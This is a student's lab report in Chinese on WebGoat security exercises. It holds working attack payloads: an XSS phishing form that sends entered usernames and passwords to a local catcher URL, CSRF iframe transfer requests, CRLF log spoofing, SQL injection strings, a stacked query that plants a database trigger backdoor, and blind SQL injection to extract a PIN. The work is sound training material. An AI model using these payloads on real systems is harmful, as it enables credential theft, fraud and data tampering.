实验后回答问题

1.SQL注入攻击原理,如何防御

·SQL攻击的原理很简单,就是在用户名输入框里输入SQL语句,来欺骗数据库服务器进行恶意操作

·防御可以从以下几个方面下手:

(1)在web网页设计的时候禁止用户输入的内容写入后台执行程序

(2)设置过滤条件,将可疑的语句过滤掉

2.XSS攻击的原理,如何防御

·XSS攻击的原理主要是通过输入可执行代码来获取目标网站的cookie,从而实现用其他人的身份登录,并进行攻击

·关于XSS的防御也可以设置过滤语句,对于代码、可执行语句等一律过滤掉

3.CSRF攻击原理,如何防御

·CSRF的攻击原理主要是用其他用户的身份访问网站并利用网站生成的cookie向服务器发送请求

·要想防御CSRF攻击可以通过验证码等对正在登录的用户进行验证,同时不在页面中暴露用户的隐私信息

实践过程记录

WebGoat开启

  • 首先要知道WebGoat是什么,它是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入等,我们本次的实验就是在WebGoat平台上进行。

1.在命令行输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat

2.运行一段时间之后出现Starting ProtocolHandler表示开启成功,此时不要关闭命令行,打开浏览器访问localhost:8080/WebGoat。

登陆之后是如下界面:

XSS注入攻击:

Phishing with XSS

1.该实验的目的是读取登录用户的用户名和密码。首先输入编辑的XSS攻击的代码,会显示如下界面:

我们先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,并且将这些信息发送给http://localhost:8080/WebGoat/catcher?PROPERTY=yes...

</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:,如图所示:

攻击成功!

Stored XSS Attacks

1.这个实验的目的是通过在title中输入代码使用户访问时弹出非预期的内容。在这里我们在title中输入代码

<script>alert("你想在页面中显示的内容");</script>

2.窗口弹出,攻击成功!

Reflected XSS Attacks

当我们输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示给我们看:

这时如果我们将带有攻击性的URL作为输入源,例如依旧输入

<script>alert("lxm attack succeed!");</script>,就会弹出对话框:

  • 虽然这个效果和上一个存储型XSS实验的效果类似,但是两者所用的原理不一样,存储型XSS是持久化的,代码是存储在服务器中,比较典型的例子就是上面所用的留言板,而这个实验中用的是反射型XSS攻击是非持久化的,应用的场景比如欺骗用户自己去点击链接才能触发XSS代码,也就是说它的代码是不存在服务器中的,所以一般来说存储型XSS攻击危害更大。

Cross Site Request Forgery(CSRF)

本次实验:

这个实验的目的是通过邮件的方式伪造一个转账请求。我们需根据题目里给出的数值参数来输入代码,在文本框中写入

<iframe src="attack?Screen=题中给出的scr&menu=题中给出的menu&transferFunds=转账金额"></iframe>

题目中具体的参数可以参照右边的参数栏

转账成功,如下图:

CSRF Prompt By-Pass

和上一个实验类似,但是这个实验要求有转账请求和确认转账成功请求两个请求,在代码的transferFunds部分略有不同

输入代码

<iframe
    src="attack?Screen=题中给出的scr&menu=题中给出的menu&transferFunds=转账金额">
</iframe>
 
<iframe
    src="attack?Screen=题中给出的scr&menu=题中给出的menu&transferFunds=CONFIRM">
</iframe>

得到

之后我又做了另一次试验:

先在浏览器中手动输入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000进入确认转账请求页面:

之后看了一下网页的源代码,发现transferFunds的值变成了CONFIRM:

于是点击了CONFIRM按钮之后,再在浏览器中输入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM,成功

Injection Flaws练习

Numeric SQL Injection

1.该实验本来选中一个城市之后只能看到一条关于这个城市的天气信息,攻击之后选中这个城市可以显示所有城市的天气信息。

2.在网页代码中在任意一城市后面加上1=1永真式即可实现该题目

3.改好之后选中Columbia,Go!即可获得所有城市的天气

Log Spoofing

  • 该试验的目的是在代码中加入用户名admin迷惑用户,当用户登陆的时候登录失败,但以为自己登陆成功了。

首先,我们输入的用户名会被追加到日志文件中,所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,在User Name文本框中输入fyz%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符:

攻击成功!

String SQL Injection

1.该试验正常只能查看到一个人的信息,攻击后可以查看到所有人的信息了。

2.在输入框中输入' or 1=1;--,攻击成功!

LAB:SQL Injection(Stage 1 String SQL Injection)

1.首先在密码栏中输入' or 1=1 -- 进行SQL注入,但是登录失败

后面查看了一下网页源码,发现输入框对输入的字符长度进行了限制,最多只允许输入8个字符,更改为80。

然后重新登录,登录成功:

LAB:SQL Injection(Stage 3:Numeric SQL Injection)

1.首先更改密码限制长度,输入' or 1=1 -- 登录,如图:

在网页代码中分析一下这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的value值改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个:

3.登陆一下,可以看到老板的信息

Database Backdoors

1.先看一下默认的101用户的信息,接下来继续输入101; update employee set salary=100000,给用户101张涨工资

2.按照题目里要求的,输入

101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155219@163.com'WHERE userid = NEW.userid;

将邮箱改为我的邮箱,把101的工资偷走啦嘻嘻

Blind Numeric SQL Injection

1.该实验的目标是找到cc_number为1111222233334444字段的数值,我们首先输入

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

显示账号无效,说明pin的数值比10000小

2.接下来运用二分法慢慢缩小范围,找到pin的值为2364,输入找到的pin值,实验成功!

所有成功项目截图

实验总结与体会

这次实验做起来还是挺有趣的,每一个小实验都有明确的目标,做实验的时候也知道自己在做什么,做了几个之后也是慢慢掌握了一些套路吧越做越顺手,想一想如果这些真的应用到了我们的生活中那简直可怕,以后登录网页还是要谨慎。